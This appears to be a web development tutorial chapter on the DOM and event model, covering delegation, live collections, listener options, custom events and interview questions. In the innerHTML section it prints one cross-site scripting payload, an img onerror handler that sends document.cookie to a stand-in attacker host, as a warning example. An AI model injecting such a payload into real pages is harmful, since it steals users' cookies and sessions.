Appearance
6.3.1 — The DOM & the Event Model
A product list with a delete button on every row. This works:
js
document.querySelectorAll('.row .delete').forEach(btn => {
btn.addEventListener('click', removeRow);
});Until a row is added after the page loads, and its delete button does nothing. The listener was attached to the buttons that existed at that instant, and the new button was never one of them.
The fix is one listener instead of a hundred, attached to something that was there from the start, and it works for every row that will ever exist:
js
document.querySelector('.list').addEventListener('click', (event) => {
const btn = event.target.closest('.delete');
if (!btn) return;
removeRow(btn.closest('.row'));
});Why that works — and why event.target is the button rather than the list you attached to — is the event model, and it is worth building up properly because every framework's event handling sits directly on top of it.
1. The DOM is an object graph, and some of it is alive
Chapter 6.1.2 covered how the parser builds the tree. What you get in JavaScript is a graph of node objects, and the distinction that matters day to day is between nodes and elements.
Text is a node. A comment is a node. An element is a node. So firstChild may well be a text node containing a newline and three spaces, which is why:
js
list.childNodes.length; // 7 — three <li> and four whitespace text nodes
list.children.length; // 3 — elements onlyUse the element-only family unless you specifically want text nodes: children, firstElementChild, lastElementChild, nextElementSibling, previousElementSibling, parentElement.
Live collections, the ones that bite
Two families of query return different kinds of collection, and one of them updates itself.
js
const live = document.getElementsByClassName('row'); // HTMLCollection — LIVE
const static_ = document.querySelectorAll('.row'); // NodeList — a SNAPSHOTA live collection is a view onto the document, re-evaluated whenever you touch it. Add a matching element and its length grows with no re-query. That sounds convenient and produces this:
js
const rows = document.getElementsByClassName('row');
for (let i = 0; i < rows.length; i++) {
rows[i].remove(); // removes only half of them
}Remove index 0 and every element shifts down while i moves up, so you skip one each time. The old-school fix is a backwards loop; the modern fix is to take a snapshot:
js
[...document.querySelectorAll('.row')].forEach(row => row.remove());querySelectorAll returns a static NodeList — a snapshot taken at call time, which never changes afterwards. It has forEach but not map or filter, hence the spread into a real array.
There is a performance note in the other direction. A live collection is cheap to create and potentially expensive to read, because reading may force a re-query. querySelectorAll is the opposite: it does the work once. In a loop, querySelectorAll is usually the better choice, and reading .length of a live collection inside a loop condition is a genuine performance trap.
Building and inserting
js
// (1) The safe, explicit way.
const li = document.createElement('li');
li.className = 'row';
li.textContent = product.name; // (2) text, never parsed as HTML
li.dataset.productId = product.id; // (3) becomes data-product-id="…"
// (4) append() takes multiple nodes AND strings; appendChild takes one node.
list.append(li, document.createElement('hr'));
// (5) A fragment: build off-document, insert once.
const frag = document.createDocumentFragment();
for (const p of products) frag.append(renderRow(p));
list.append(frag); // one insertion, one layoutLine (2) is the security-relevant one and is covered below. Line (3) shows dataset: any data-* attribute is available in camelCase, which is the standard way to attach a small piece of data to an element without a parallel map.
Line (4) is the modern insertion API. append, prepend, before, after and replaceWith accept several arguments and accept plain strings (inserted as text). The older appendChild/insertBefore take exactly one node and return it.
Line (5) is the reason DocumentFragment exists. Appending 500 rows one at a time means 500 separate insertions into a live document. Building them inside a fragment and appending once means the browser processes the whole batch together. In modern browsers the difference is smaller than it used to be, because insertions are batched anyway and layout is deferred until it is needed — but the fragment still avoids 500 mutation records for any MutationObserver watching, and it remains the clearer expression of intent.
insertAdjacentHTML is the fast path when you genuinely have an HTML string:
js
list.insertAdjacentHTML('beforeend', `<li class="row">${escapeHtml(name)}</li>`);The four positions are beforebegin, afterbegin, beforeend, afterend — outside-before, inside-first, inside-last, outside-after. Unlike innerHTML +=, it does not destroy and rebuild the existing children, so event listeners on siblings survive.
textContent, innerText and innerHTML
Three properties that look interchangeable and are not.
textContent returns all text in the subtree, including text inside hidden elements, and setting it replaces children with a single text node. It never parses HTML. This is the default choice.
innerText returns the text as rendered — it respects display: none, collapses whitespace the way CSS does, and inserts line breaks for block boundaries. Because it reflects rendering, reading it forces layout (Chapter 6.1.2), so innerText inside a loop is a performance bug wearing an innocent name.
innerHTML parses its input as HTML. That is exactly the problem:
js
// If `name` came from a user, this is a cross-site scripting vulnerability.
el.innerHTML = `<span>${name}</span>`;
// Safe: the value is text, and text cannot become markup.
el.textContent = name; <img src=x onerror="fetch('https://evil.example/'+document.cookie)"> in a display name is the whole attack, and it is not hypothetical. Chapter 6.10 covers cross-site scripting and Content Security Policy properly. The rule to carry from here: innerHTML with any value you did not author is a security decision, and the default answer is textContent. When you genuinely need to render user-supplied HTML, sanitise it with a maintained library or the browser's own setHTML/Sanitizer where available — never with a regular expression.
Attributes are not properties
They look like the same thing and they diverge in a few specific places that decide real behaviour.
html
<input id="qty" type="text" value="1">js
const input = document.getElementById('qty');
// The user types 5.
input.value; // "5" — the property: current state
input.getAttribute('value'); // "1" — the attribute: the initial value from HTMLThe attribute is the initial value written in the markup; the property is the live state. For value and checked they separate the moment the user interacts. This is exactly why a "reset" that sets input.setAttribute('value', '') does nothing visible, and input.value = '' works.
The other differences worth knowing: href as a property returns a fully resolved absolute URL while the attribute returns whatever was written; class the attribute is className the property (because class is a reserved word), and classList is the API you actually want; and any boolean attribute such as disabled is present or absent in HTML, so disabled="false" disables the control.
2. Event flow: the three phases
Click a button inside a <td> inside a <tr> inside a <table>. Which element gets the event? All of them — in a defined order, in three phases.
Capture travels from the window down through every ancestor to the target. Target is the element itself. Bubble travels back up to the window.
addEventListener(type, handler) listens during bubble by default, which is why the delegation example works: the click happens on the button, and by the time it reaches the list, the list's handler runs with event.target still pointing at the button.
addEventListener(type, handler, { capture: true }) listens on the way down. Capture is genuinely useful for exactly one family of jobs: intercepting an event before any descendant can see it, such as a modal that must swallow all clicks outside itself, or global analytics that must record a click even if a component calls stopPropagation.
The two properties people confuse
js
list.addEventListener('click', (event) => {
event.target; // the deepest element actually clicked — maybe an <svg> inside the button
event.currentTarget; // the element this listener is attached to — always `list`
});target is where it happened. currentTarget is where you are listening. currentTarget is only valid during dispatch, so capturing it in a setTimeout gives you null.
The target being deeper than you expect is the reason delegation uses closest() rather than checking target.matches('.delete'). Click the icon inside the button and target is the icon. closest('.delete') walks up from wherever the click landed until it finds a match, which is what you meant.
Events that do not bubble
Not everything travels. The ones you will hit:
| Does not bubble | Bubbling alternative |
|---|---|
focus, blur | focusin, focusout |
mouseenter, mouseleave | mouseover, mouseout |
load, error on elements | — attach directly |
scroll on an element | — attach directly (it bubbles from document) |
So you cannot delegate focus — use focusin. And mouseover fires again every time the pointer crosses into a child element, while mouseenter fires once for the whole subtree; when a hover handler runs far more often than expected, that is why.
3. The listener options that matter
js
const controller = new AbortController();
el.addEventListener('scroll', onScroll, {
passive: true, // (1) I promise not to call preventDefault
capture: false, // (2) bubble phase (the default)
once: false, // (3) auto-remove after the first call
signal: controller.signal, // (4) remove by aborting
});
// Later — removes this and every other listener registered with the same signal.
controller.abort(); // (5)Line (1) is a performance feature with a real mechanism behind it. Scroll and touch handlers can cancel scrolling with preventDefault(), so without passive, the browser must run your handler and wait to see what it does before it is allowed to scroll — turning every scroll event into a main-thread round trip and producing the characteristic laggy scroll on mobile. passive: true promises you will not cancel, so the compositor scrolls immediately and calls your handler whenever it gets round to it. Browsers now default touchstart, touchmove and wheel on the document to passive for this reason, which means an existing preventDefault() in one of those handlers silently stops working and logs a console warning. If you genuinely need to cancel — a custom pull-to-refresh, a drawing canvas — pass passive: false explicitly.
Line (3) once is the tidy way to handle a one-shot event without removing the listener by hand.
Lines (4) and (5) are the modern cleanup pattern, and they are a large improvement on what came before. removeEventListener requires the identical function reference, which means an inline arrow function can never be removed — a leak that is invisible until a single-page application has created ten thousand of them. With a signal, one abort() removes every listener registered with it, which fits component teardown exactly:
js
function mountWidget(el) {
const ac = new AbortController();
const { signal } = ac;
el.addEventListener('click', onClick, { signal });
window.addEventListener('resize', onResize, { signal });
document.addEventListener('keydown', onKey, { signal });
return () => ac.abort(); // one call cleans up all three
}Listeners on window and document are the ones that actually leak, because they outlive the element. A listener attached to an element that is removed from the DOM is collected along with it, assuming nothing else references the handler.
4. Stopping things, and the three verbs that are not interchangeable
js
event.preventDefault(); // (1) cancel the browser's default action
event.stopPropagation(); // (2) stop travelling to other elements
event.stopImmediatePropagation();// (3) also skip other handlers on THIS elementLine (1) cancels what the browser was going to do — following a link, submitting a form, checking a checkbox, showing the context menu. It does not stop the event from reaching other handlers.
Line (2) stops the journey. Other listeners on the same element still run; ancestors do not.
Line (3) stops the journey and skips the remaining handlers on the current element.
stopPropagation deserves suspicion. It is usually reached for to solve "my click-outside-to-close handler fires when I click inside the menu", and it fixes that by breaking every other listener above it — analytics, a global keyboard trap, a parent component's own logic — in ways that show up weeks later as "clicks in the menu are not tracked". The better fix is for the outside handler to check where the click landed:
js
document.addEventListener('click', (event) => {
if (menu.contains(event.target)) return; // inside — ignore
closeMenu();
});contains() returns true for the element itself and any descendant. No propagation is broken, and nothing above you is affected.
Whether an event is cancellable at all is on the object: event.cancelable. A passive listener's preventDefault() is ignored and warns.
5. Custom events
Any component can dispatch its own event, and the DOM will route it through the same three phases:
ts
// (1) Type the payload so consumers are not guessing.
type BasketChange = { productId: string; quantity: number };
// (2) bubbles: true is NOT the default — without it, only this element sees it.
const event = new CustomEvent<BasketChange>('basket:change', {
detail: { productId: 'sku-8891', quantity: 3 }, // (3)
bubbles: true,
composed: true, // (4)
});
button.dispatchEvent(event); // (5) synchronous
// Anywhere above it in the tree:
document.addEventListener('basket:change', (e) => {
console.log((e as CustomEvent<BasketChange>).detail.quantity); // 3
});Line (2) is the one that catches people: custom events do not bubble unless you say so. A component dispatches an event, nothing above hears it, and there is no error.
Line (3) detail is the only place your payload can go. Do not attach extra properties to the event object; they work, and they are not part of the contract anyone reading the code expects.
Line (4) composed: true lets the event cross a shadow DOM boundary (Chapter 6.8.1). Without it, a web component's internal event is invisible outside the component.
Line (5) is worth stating plainly: dispatchEvent is synchronous. Every listener runs to completion before the next line of your code, exactly like a function call. It is not queued as a task.
The namespaced name (basket:change) is a convention rather than a rule, and it is a good one — it makes ownership obvious and avoids colliding with a future built-in event name.
6. Input events in practice
Pointer events unify mouse, touch and pen. pointerdown, pointermove, pointerup fire for all three, with event.pointerType telling you which and event.pointerId distinguishing simultaneous touches. One code path replaces the old pair of mouse and touch handlers, and setPointerCapture(event.pointerId) routes all subsequent events for that pointer to your element — which is what makes a drag keep working when the pointer leaves the element.
touch-action: none in CSS is the companion. During a drag you want the browser not to scroll or zoom, and declaring that in CSS lets the compositor know before the gesture starts, rather than waiting for a preventDefault() the main thread might be too busy to deliver.
Keyboard: use event.key. It gives the character or a named key — "a", "Enter", "ArrowLeft", "Escape". event.code gives the physical key position ("KeyA" regardless of layout), which is right for game controls where WASD must stay in the same place on a French keyboard and wrong for everything else. keyCode is deprecated and layout-dependent; do not use it in new code.
input versus change. input fires on every keystroke; change fires when the value is committed — on blur for a text field, immediately for a checkbox or select. Live search wants input (with debouncing, Chapter 6.7); validating a completed field wants change.
What the interviewer will push on
"What is event delegation and why use it?" One listener on a stable ancestor instead of one per element. It works because events bubble, so event.target still identifies the deepest element. The reasons: it covers elements added later, and it is one listener instead of hundreds. Use closest() rather than matches() because the click may land on an icon inside the button.
"target versus currentTarget?" Where it happened versus where you are listening. The follow-up worth pre-empting: currentTarget is only valid during dispatch, so reading it inside a setTimeout gives null.
"Explain capture and when you would use it." The downward phase before the target. Genuine uses are narrow: intercepting before descendants can act, or observing clicks that a component will later stopPropagation on. Saying "never used it" is fine; saying "it is the same as bubbling" is not.
"What does passive: true do?" Promises you will not call preventDefault(), so the browser can scroll without waiting for your handler. Then add that browsers now default touchmove and wheel on the document to passive, which is why an old preventDefault() silently stopped working.
"Why avoid stopPropagation?" It silently breaks unrelated listeners above you — analytics, global shortcuts, parent components — and the damage shows up much later. The better pattern for click-outside is container.contains(event.target).
"How do you clean up listeners in a single-page app?" One AbortController per component, { signal } on every listener, one abort() on teardown. Mention that removeEventListener needs the identical function reference, which is why inline arrows can never be removed and why window/document listeners are the ones that actually leak.
"innerHTML versus textContent?" innerHTML parses HTML, so any value you did not author is a cross-site scripting risk. textContent cannot become markup. Volunteer that innerText forces layout because it reflects what is rendered, which makes it a quiet performance bug in a loop.
One thing to volunteer: mention that getElementsByClassName returns a live collection and that a forward for loop removing elements from it skips half of them. It is a small bug with a memorable cause, and it shows you know the DOM has two different collection types rather than one.
Recall
childNodesincludes text and comment nodes;childrenis elements only. Use the*Element*family unless you specifically want text nodes.getElementsBy*returns a liveHTMLCollectionthat re-evaluates as the document changes — a forward removal loop over it skips half the elements.querySelectorAllreturns a static snapshot.append/prepend/before/aftertake multiple nodes and strings;DocumentFragmentbatches an insert;insertAdjacentHTMLinserts without destroying existing children.textContentis the default;innerHTMLparses markup and is an XSS decision;innerTextforces layout because it reflects rendering.- Attributes are the initial markup value, properties are the live state —
input.valuediverges fromgetAttribute('value')the moment the user types. Boolean attributes are present-or-absent, sodisabled="false"still disables. - Events run in three phases: capture down, target, bubble up.
addEventListenerlistens on bubble by default.targetis where it happened,currentTargetis where you are listening, andcurrentTargetis only valid during dispatch. - Delegation = one listener on a stable ancestor +
event.target.closest(selector). It covers future elements and replaces hundreds of listeners. focus/blurandmouseenter/mouseleavedo not bubble — delegate withfocusin/focusoutandmouseover/mouseout.passive: truepromises nopreventDefault()so scrolling need not wait for your handler;touchmoveandwheelon the document are passive by default now.AbortController+{ signal }removes every listener in one call, which is the fix for the fact thatremoveEventListenerneeds an identical function reference.stopPropagationbreaks unrelated listeners above you — prefercontainer.contains(event.target)for click-outside.- Custom events do not bubble unless
bubbles: true, carry data only indetail, needcomposed: trueto leave a shadow root, and dispatch synchronously.
Self-test: Why does a handler attached to existing buttons miss a row added later? · Why does delegation use closest() rather than matches()? · What breaks if you delegate focus? · What does passive actually let the browser skip? · Why can an inline arrow function never be removed as a listener? · Why is innerText slow?
Next: 6.3.2 deals with the two questions that surround all of this — when your script actually runs relative to the document, and how to watch for things the event model has no event for: an element entering the viewport, a subtree changing, a box being resized.